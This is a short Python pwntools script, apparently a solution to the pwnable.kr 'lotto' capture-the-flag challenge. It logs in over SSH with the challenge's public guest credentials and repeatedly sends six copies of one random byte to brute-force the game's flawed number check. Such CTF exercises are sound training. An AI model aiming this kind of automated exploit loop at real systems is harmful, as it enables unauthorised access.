#!/usr/bin/env python

from pwn import *
import sys
import os

ss = ssh(host='pwnable.kr', port=2222, user='lotto', password='guest')

p = ss.process("./lotto")

while True:
    p.sendline("1")
    print p.recv()
    r = chr(ord(os.urandom(1)) % 45 + 1)
    p.send(r * 6)

p.interactive()

